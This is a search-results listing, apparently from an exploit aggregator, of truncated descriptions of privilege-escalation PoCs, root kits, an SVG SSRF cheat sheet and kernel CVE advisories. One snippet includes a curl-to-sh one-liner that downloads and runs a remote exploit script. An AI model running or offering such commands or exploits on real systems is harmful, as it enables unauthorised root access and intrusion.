257626 matches found
hp-slate7-root-kit
Android 4.1.1 搭載 HP Slate 7 2800 用 Root キット English | Русский このリポジトリには、ローカル脆弱性 CVE-2015-1805 を悪用して、ファームウェア 1.05.18 とカーネル Linux 3.0.8+ を搭載した HP Slate 7 2800 で永続的な root アクセスを取得するための、完全かつ自己完結型のキットが含まれています。このキットは実機のタブレットで実行され、その結果は新しい ADB セッションと通常の再起動後に検証されました。 これは汎用的な Android...
CVE-2026-46300_Fragnesia
🧨 Fragnesia — CVE-2026-46300 Linux Kernel LPE 監査 & Exploit ツールキット · Page-Cache / XFRM ESP-in-TCP（espintcp）リグレッション インタラクティブ監査 → LPE 前提条件の検出 → エクスプロイト自動実行（確認後） ⚠️ 倫理的・法的警告 このツールは正当かつ認可されたセキュリティテスト専用 です — 契約済みペンテスト、ラボ/CTF、または自己所有のアセット。システム所有者の許可なしでの使用は犯罪行為です（UU ITE、Computer Fraud and Abuse Act...
CVE-2026-93803
The Linux kernel contains a vulnerability in the libipw component where libipw_rx() fails to perform adequate bound checks when extracting the WEP key index . The function reads skb->data[hdrlen + 3], but the existing guard only ensures skb->len >= hdrlen + 3, which does not guarantee th...
CVE-2026-93803 wifi: libipw: fix key index receive bound checks
In the Linux kernel, the following vulnerability has been resolved: wifi: libipw: fix key index receive bound checks libipwrx reads skb-datahdrlen + 3 to extract the WEP key index in both the software-decrypt key selection path and the hardware-decrypted IV/ICV strip path. In both places the...
CVE-2026-93803 wifi: libipw: fix key index receive bound checks
In the Linux kernel, the following vulnerability has been resolved: wifi: libipw: fix key index receive bound checks libipwrx reads skb-datahdrlen + 3 to extract the WEP key index in both the software-decrypt key selection path and the hardware-decrypted IV/ICV strip path. In both places the...
EUVD-2026-86190
In the Linux kernel, the following vulnerability has been resolved: wifi: libipw: fix key index receive bound checks libipwrx reads skb-datahdrlen + 3 to extract the WEP key index in both the software-decrypt key selection path and the hardware-decrypted IV/ICV strip path. In both places the...
ghostlock-cve-2026-43499-4.19-k40
GhostLock — CVE-2026-43499 PoC（Qualcomm 4.19 カーネル） CVE-2026-43499 を悪用したローカル権限昇格 — rtmutex の removewaiter バグにより、struct rtmutexwaiter がウェイターのカーネルスタック上にダングリング状態で残る（kernel/locking/rtmutex.c、CWE-416 use-after-free）。 NebuSec/CyberMeowfia（IonStack/CVE-2026-43499、Apache-2.0）を Qualcomm Android 4.19.x...
CVE-2025-32463_exploit
CVE-2025-32463 — sudo "chwoot" chroot ローカル権限昇格 sudo の --chroot -R オプションを介した root へのローカル権限昇格。 sudoers エントリが一切ないアカウント 例: www-data を含む、あらゆるローカルユーザー に対して機能する。 sudo 1.9.14 – 1.9.17 は、sudoers ポリシーがまだ評価されている間 にユーザー指定の ディレクトリへ chroot する — つまり 認可判定の前 に。そして、その chroot の後、sudo の NSS ルックアップは攻撃者の chroot 内から...
CVE-2026-21019-Kubernetes-CronJob-Suspended-Execution-via-Time-Manipulation
CVE-2026-21019 – Kubernetes CronJobの時刻操作による一時停止/強制実行 プログラムコード（YAML + Pythonエクスプロイト） root@kitploit: cronjobvuln.yaml - CronJob that checks current time without external validation apiVersion: batch/v1 kind: CronJob metadata: name: backup spec: schedule: "0 2 " jobTemplate: spec: template: spec:...
CVE-2026-43284---DirtyFrag-Analysis-THM-
TryHackMe — CVE-2026-43284: Dirty Frag ルーム: CVE-2026-43284: Dirty Frag カテゴリ: Linux 権限昇格 作成者: マイページ 概要 Dirty Frag は、CVE-2026-43284 を中心に構築された、連鎖型 Linux ローカル権限昇格 LPE ルームです。目標は、提供された概念実証エクスプロイトを利用して、非特権シェルから root になることです。 初期列挙 作業ディレクトリを一覧表示すると、エクスプロイト用に提供されたファイルが確認できます: root@kitploit: $ ls README.txt...
cve-2021-41773-lab
CVE-2021-41773 — 最小限の FastAPI ラボ ファイルシステム境界を検証する前にユーザー入力をデコードすると、ディレクトリトラバーサルやローカルファイルインクルージョン（LFI）につながることを示す、自己完結型の小さな FastAPI ラボです。Apache HTTP Server の脆弱性 CVE-2021-41773 をモデルにしています。 特徴 最小限で読みやすい FastAPI の例: 脆弱なサーバーとパッチ済みサーバー シングルエンコード（%2e）およびダブルエンコード（%252e）によるバイパスを実演します ルートエンドポイントには、curl...
Windows_LPE_AFD_CVE-2023-21768
CVE-2023-21768 ローカル権限昇格 PoC 著者: chompie & b33f デモンストレーション目的のみ。完全なエクスプロイトは、脆弱性のある Windows 11 22H2 システムで動作します。 書き込みプリミティブは、すべての脆弱性のあるシステムで動作します。 使用方法: root@kitploit: WindowsAFDLPECVE-2023-21768.exe ここで は、昇格させたいプロセスのプロセス ID（10進数）です。 結果として、対象プロセスが SYSTEM に昇格します。 I/O Ring LPE プリミティブコードは、Yarden Shafir...
CVE-2021-4034
CVE-2021-4034 pkexec ローカル権限昇格エクスプロイト...
poc-yaws-dav-xxe
Yaws WebサーバーにおけるXXE（CVE-2020-24379） 概念実証 テストイメージをビルド： docker build -t vulnbe/yaws-pocs:xxe-dav-mod -f Dockerfile . および/または コンテナを実行： docker run --rm -d -i -p 127.0.0.1:8000:8080 vulnbe/yaws-pocs:xxe-dav-mod 次に実行： root@kitploit: curl -i -s -k -X LOCK http://localhost:8000/ -H 'Timeout: Second-1' ...
Windows-EoP
いくつかのWindowsローカルEoPバグを開くには...
local-exploits
ローカルエクスプロイト さまざまなローカルエクスプロイト CVE-2020-8793 opensmptd-makemap-lpe - Fedora 31 OpenSMTPD makemap のローカル root エクスプロイト。 コードの大部分は Qualys アドバイザリ（2020-02-24）から、 CVE-2020-8793 用に引用しています。 opensmtpd: 特権のない攻撃者による任意のファイルの読み取りは、情報漏洩または権限昇格につながる可能性があります fedora-all CVE-2020-7247 root66 OpenBSD 6.6 OpenSMTPD 6.6...
poc-cve-2021-4034
poc-cve-2021-4034 pwnkit と呼ばれる CVE-2021-4034 の PoC 使い方 make を実行して release フォルダを確認するだけです。あるいは、次のワンライナーがお好みなら: sh -c "$curl -sSL https://github.com/dzonerzy/poc-cve-2021-4034/releases/download/v0.2/run-exploit.sh" 実行例 root@kitploit: dzonerzy@DESKTOP-5JHC90H:/mnt/c/Users/DZONERZY/GolangProjects/pkpw...
svg-cheatsheet
SVG SSRF チートシート SVG を処理するホストは、SVG の豊富な機能セットにより、SSRF、LFI、XSS、RCE に対して脆弱になる可能性があります。 これらの方法はすべて URI を指定します。URI は絶対パスまたは相対パスにすることができます。file プロトコルと HTTP プロトコルはテストが重要ですが、実装によっては他のプロトコル（例: PHP ストリームスキーム）もサポートされる可能性があり、javascript: や data: も含まれます。 このドキュメントには、SVG でこの機能を悪用するために私が知っているすべての方法のリストが記載されています。 S...
CVE-2025-7771
CVE-2025-7771 — ThrottleStop.sys による任意の物理メモリ読み書き TechPowerUp の ThrottleStop.sys ドライバーCVE-2025-7771の完全な概念実証。 署名済みで現在もロード可能なカーネルドライバーが、検証されていない物理メモリの読み取りと 書き込みを 2 つの IOCTL を通じて公開している。このリポジトリは、そのプリミティブを 動作する管理者から SYSTEM へのローカル特権昇格に変え、ほとんどのパスおよびファイル名 ベースの検出を無効化するデバイス命名の癖を文書化する。 同じ IOCTL に対する PoC...